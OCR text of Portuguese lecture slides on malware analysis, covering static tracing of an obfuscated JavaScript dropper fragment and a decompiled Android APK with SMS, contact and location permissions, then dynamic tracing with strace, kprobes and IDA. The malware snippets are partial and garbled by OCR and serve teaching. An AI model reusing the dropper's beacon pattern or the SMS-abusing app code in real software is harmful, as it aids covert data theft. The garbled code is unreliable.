/Y+4M6U9FG9yxA100QH1d7HIUM3M1EWOKPT+quYKtMSO8BQLTTKZMtMKmOE="; return r}
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Tracing estatico - exemplo 2

e Ao embelezar o cédigo, podemos ver que a proxima etapa € um codigo
JavaScript.

e Ha uma funcdo usada para se comunicar com algum servidor, enviando
requisicoes HTTP.

var jpVh icVh + EBKd.substring(0, EBKd.length - 2) + "pif";

var S47T new ActiveXObject("MSXML2.XMLHTTP");

S47T.OPEN( "post", , )3

S47T.SETREQUESTHEADE user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());

S47T.SETREQ ADE conte e:", "application/octet-stream");
S47T.SETREQUESTHEADER( "content e 24 .

S47T.SETI ESTHEADER( 2", "flag=[REDACTED]");

S47T.SEND( "work");




Tracing estatico - exemplo 3

e JADX - decompiler para APK

AndroidManifest.xml

uses-sdk

supports-screens
permission andro
uses-permission
uses-permission
uses-permission
uses-permission
uses-permission
uses-permission
uses-permission

uses-permission
uses-permission
uses-permission
uses-permission
uses-permission
uses-permission
uses-permission

uses-permission a

| uses-permission
uses-permission
uses-permission
uses-permission

uses-permission
uses-permission

uses-permission a

uses-permission a

1d="http://schemas.android.com/apk
"14" android
nsity="true" andr

uses-permission a

sany
"com.psiphon3.
{:name="android.
1ame="android.
:name="android.
name="android.
ame="android.
"android.
"android.
"android.

permission
permission

permission.
permission.
permission.
permission.
permission.
permission.
permission.

android: onName="" android:installL

/res/android" android:

i cree "true" andro Screens="true" android:larc s="true"
.C2D_MESSA! android:p tionLevel="signature"
. INTERNET"
WAKE_LOCK"

FOREGROUND_SERVICE"
RECEIVE_BOOT _COMPLETED"
ACCESS_NETWORK_STATE"
INTERNET"

WAKE_LOCK"

VIBRATE"

ame="android.
me+{"android.

permirssion.
permirssion.

READ_SMS" -

SEND_SMS"

me="android.
me="android.
me="android.

me="android.
me="android.
me="android.
me="android.

permission.
permission.
permission.
me="com.google.android.c2dm.permission.RECEIVE" /
me="com.psiphon3.permission.C2D_MESSAGE" é

:name="com.google.android.
permission.
permission.
permission.
permission.

RECEIVE_BOOT_COMPLETED"
FOREGROUND_SERVICE"
ACCESS_NETWORK_STATE"

finsky.permission.BIND_GET_INé?ALL_REFERRER_SERVICE"
ACCESS_COARSE_LOCATION" /

CHANGE_NETWORK_STATE"

ACCESS COARSE_UPDATES" /

READ_PHONE_STATE"

me+{"android.
me4"android.

permission.
permission.

RECEIVE_SMS" '
READ CONTACTS"

oid:name="android.

d:name="android.

permirssion.
permirssion.

REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
ACCESS BACKGROUND LOCATION"

ation="1internalOnly" and

n3Qn




Tracing estatico - exemplo 3

e JADX - decompiler para APK

@BA. ShortName ("PhoneSms" )
loaded from: classes.dex *
PhoneSms {
Send(String PhoneNumber, String Text) { Y
Send2(PhoneNumber, Text, true, true); P
ff/’/
o o~
Send2(String PhoneNumberfﬁﬁtrlnq Text, boolean ReceiveSentNotification, boolean ReceiveDeliveredNotification)
PendingIntent pi;
PendingIntent pi2;
msManager sm - SmsManager.getDefault();
Intent 11 Intent("b4a.smssent");
11.putExtra("phone", PhoneNumber);
(ReceiveSentNotification) { e
pi PendingIntent.getBroadcast(BATEBBTT%@%&QQQQQngt,
1 {
pil s that are listening for

1 the SMS was sent/deliver

1
Intent 12 Intent("b4a.smsdelivered");
12.putExtra("phone", PhoneNumber);
(ReceiveDeliveredNotification) { ="
pi2 - PendingIntent.getBroadcast(BA.applicationContext,

pi2 ;

[sm.sendTextMessage(PhoneNumber, , Text, pi, pi2)€ -¢

}




Tracing estatico - vantagens

e Seguranca
o Sem risco de executar cédigo potencialmente malicioso.
e |dentificacao de Padrdes

o Possivel encontrar strings suspeitas, padrdes de coédigo malicioso e pontos de entrada de
funcdes.
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Tracing estatico - desvantagens

e Limitacdes Dinamicas
o Nao detecta comportamento dinamico, como carregamento de payloads em tempo de
execucao.
o Técnicas que prejudicam a engenharia reversa, como ofuscacdo de caminhos
e Complexidade

o  Analisar cédigo ofuscado ou compactado pode ser extremamente dificil e demorado.
o  Como criar heuristicas para lidar com o exemplo 2?

34



Tracing dinamico

e Definicao

o Execucdo e analise em ambiente controlado de algum binario suspeito
e Ferramentas

o Strace, ftrace, Kprobes, Frida
e Exemplos

o Usar strace para monitorar as chamadas de sistema de um processo
o Realizar o tracing de chamadas de funcdes tanto em user space e kernel space

35



Tracing dinamico - exemplos

e Caso o tracing dindamico nao foi o suficiente, o que fazer?
e O programa cria payloads dinamicamente?
e Ha algum outro processo que realiza download de payloads?

36



Tracing dinamico - exemplos

e Alguns programas ndao deixam strings logo de cara
o Podem ser construidas durante a execucao
m operacdes logicas para criacdo da string
m download de algum servidor remoto

37



racing dinamico - exemplos

Jul30 11:27

IDA - rev0 /home/claudio/Documents/SECRET_CTFchallenges/revo

Eile Edit Jump Search View Debugger Options Windows Help

wi
@ea 1A @e

bl @ s Oa » Local Linux debugger ~
<
>
Library function [ll Regular function [l Instruction Data Unexplored External symbol [l Lumina function
[7] Functions 0e ® IDA View-A o Pseudocode-A o @ Hex View-1 Q @

Function name 1 int _ fastcall main(int argc, const char **argv, const char **envp)
A _init_proc 2L -
7 5ub 1020 5| unsigned int i; T
:;: sub 1030 4 ?nsxgned int
L H 5 int fd; +2Ch] [rbp-
/] sub_1040 6| _BYTE v7[15] [rsp+30k
7] sub_1050 7 char file[24]; // [rsp+aoh
(7] sub_1060 5| unsigned _ int64 v9; p+5
[7] _cxa_finalize 9
[7] _puts 10 readfsqword (6x28u) ;
[A] __stack_chk_Ffail 1 ) = 0x444C637265747264LL;
[ _close 12 *)v7 = 0x37F680454034563LL;
7] _open 13 “)&v7[7] = 0x4A530770685C7403LL;
R 14 = i)
71 _start s
[7) deregister_tm_clones 16 )
[7] register_tm_clones 17
[7] __do_global_dtors_aux 18
[7) frame_dummy 19
(7] main 20
7] _term_proc 21 puts("[X] Error: Box Not Found");
[7] __libc_start_main :i e
7] puts . 24| {
7] _stack_chk_fail 25| puts("[*] Box Opened Successfully");
close 26 close(d
[7] open 27 3
[F] _Imp__cxa_finalize 28 return 0;
[A _gmon_start__ 29 }

000011A9 main:1 (11A9)

Output

License: 45-raEE-UuUU-UY Freeware version (L user)

The decompilation hotkey is F5.

Please check the Edit/Plugins menu for more information.
Propagating type information...

Function argument information has been propagated

The initial autoanalysis has been finished.

11A9: using guessed type char file[24];

IDC
AU: idle Down Disk: 252GB

Imports

=

Exports
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Tracing dinamico - exemplos

e Facil... SO realizar as operacdes e gg

o Caimos no problema de técnicas de ofuscacao
m O que vocé gerou é realmente o que o programa ira gerar ao ser executado?

39



Tracing dinamico - exemplos




Tracing dinamico - exemplos

e Strace

o Um dos tracers mais utilizados na deteccao de Malware
o Mas acaba sendo pouco viavel para identificacdo de ataques ao Kernel

41



Tracing dinamico - exemplos

t epoll_event




Tracing dinamico - exemplos

e Utilizando strace
openat(AT_FDCWD, "/dev/binder", O_RDONLY) = 3

epoll_createl(0) =4
epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN, {u32=0, u64=0}}) =0
ioctl(3, BINDER_THREAD_EXIT, 0) =0

mprotect(0x75cb3dacc000, 4096, PROT_READIPROT_WRITE) =0
mprotect(0x75cb3dacc000, 4096, PROT_READ) =0
munmap(0x75cb3dacc000, 4096) =0

exit_group(0) =7

+++ exited with O +++

43



Tracing dinamico - exemplos

o Utilizando Kprobe
sys_openat;int dfd: 00000000ffffffOc;const char * flename: 0000000000480f0c;

44



Tracing dinamico

O que sao os Kprobes

(©)

Kprobe € uma ferramenta de depuracado e analise de kernel que permite inserir sondas
(probes) dinamicas em qualquer ponto do cédigo do kernel Linux.
Utilizada para monitorar e rastrear a execucdo de funcdes no kernel.

Permite monitorar entradas e saidas de funcdes, manipular registros e acessar variaveis locais.

Quando uma funcdo que recebeu um handler for executada, uma instrucao breakpoint é
executada com objetivo de modificar o fluxo de execucdo para a funcdo apontada pelo
handler.
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Tracing dinamico

e Exemplo de Kprobes
echo 'p:myprobe do_sys_open' > /sys/kernel/debug/tracing/kprobe_events
echo 1> /sys/kernel/debug/tracing/events/kprobes/enable

cat /sys/kernel/debug/tracing/trace

46



Tracing dinamico

e Exemplo de Kprobes

static struct kprobe kp;
/* Handler pré-execucdo: executado antes da instrucdo ser executada */
static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
printk(KERN_INFO "kprobe pre_handler: p->addr = Ox%p, ip = %lx, flags = Ox%Ix\n",
p->addr, regs->ip, regs->flags);
return O;

}

static int ___init kprobe_init(void) {
kp.symbol_name = "do_sys_open";
kp.pre_handler = handler_pre;

47



events traceda

Tracing dinamico - exemplos

kasan_check_write
sys_nanosleep
sys_prctl
sys_exit_group
Sys_munmap
sys_mprotect
Sys_recvmsg
sys_gettid
sys_socketpair
sys_wait4
sys_writev
sys_clone
sys_epoll_ctl
sys_mmap

kfree

sys_fentl
sys_pipe2
sys_epoll_createl
__ kmalloc
sys_openat
sys_sched_setaffinity
sys_write
sys_ioctl
sys_newfstat
sys_read

_raw_spin_lock_irgsave

©0 CO00CEEBEY CeEBSO l: © 0T

6418

6418 Above addr limit
6455

6473

— UAF_1

— UAF_2

KASAN finaliza

oere
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Tracing dinamico - vantagens

e Comportamento em Tempo Real
o Permite capturar e analisar comportamento malicioso em tempo real.
e Detecta Atividades Ocultas

o Pode revelar atividades que s6 ocorrem durante a execucdo, como exploracao de
vulnerabilidades e carga de payloads.
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Tracing dinamico - desvantagens

e Risco de Execucao
o Executar codigo malicioso pode ser perigoso sem um ambiente seguro.
e Ambientes Controlados

o Requer setups especializados, como sandboxes ou maquinas virtuais.
m Alguns Malwares identificam ambientes virtuais e mudam o comportamento.
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